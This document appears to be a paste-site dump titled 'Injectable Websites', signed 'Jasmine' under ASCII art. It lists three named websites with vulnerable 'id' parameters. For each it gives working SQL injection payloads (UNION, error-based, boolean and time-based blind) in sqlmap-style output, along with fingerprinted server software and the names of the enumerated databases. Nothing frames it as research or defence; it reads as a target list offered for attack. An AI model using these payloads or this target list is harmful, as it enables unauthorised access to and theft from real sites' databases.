Injectable Websites

 /\     /\
{  `---'  }
{  O   O  }
~~>  V  <~~
 \  \|/  /
  `-----'____
  /     \    \_
 {       }\  )_\_   _
 |  \_/  |/ /  \_\_/ )
  \__/  /(_/     \__/
    (__/
    Jasmine
---------------------------
www.romanianwriters.ro/s.php?id=1
Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: id=-2956' UNION ALL SELECT NULL,CONCAT(0x7162756c71,0x6e68677565707147476c,0x71777a6b71),NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'NQmL'='NQmL
---
[22:50:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[22:50:45] [INFO] fetching database names
[22:50:46] [INFO] the SQL query used returns 2 entries
[22:50:46] [INFO] resumed: "information_schema"
[22:50:46] [INFO] resumed: "romanian_svc"
available databases [2]:
[*] information_schema
[*] romanian_svc
-------------------------------------------------
www.cobranet.org/about.php?id=1

Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1482=1482

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 7721 FROM(SELECT COUNT(*),CONCAT(0x7177727971,(SELECT (CASE WHEN (7721=7721) THEN 1 ELSE 0 END)),0x7161796a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x7177727971,0x675770546c53796a7866,0x7161796a71),NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[22:57:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
[22:57:48] [INFO] fetching database names
available databases [3]:
[*] cobranetdb
[*] information_schema
[*] test
---------------------------------------
cathedralhillpress.com/book.php?id=1
 Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 8072 FROM(SELECT COUNT(*),CONCAT(0x7171636171,(SELECT (CASE WHEN (8072=8072) THEN 1 ELSE 0 END)),0x716e667971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[23:03:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[23:03:16] [INFO] fetching database names
[23:03:17] [INFO] the SQL query used returns 2 entries
[23:03:17] [INFO] retrieved: information_schema
[23:03:17] [INFO] retrieved: chp_books
available databases [2]:
[*] chp_books
[*] information_schema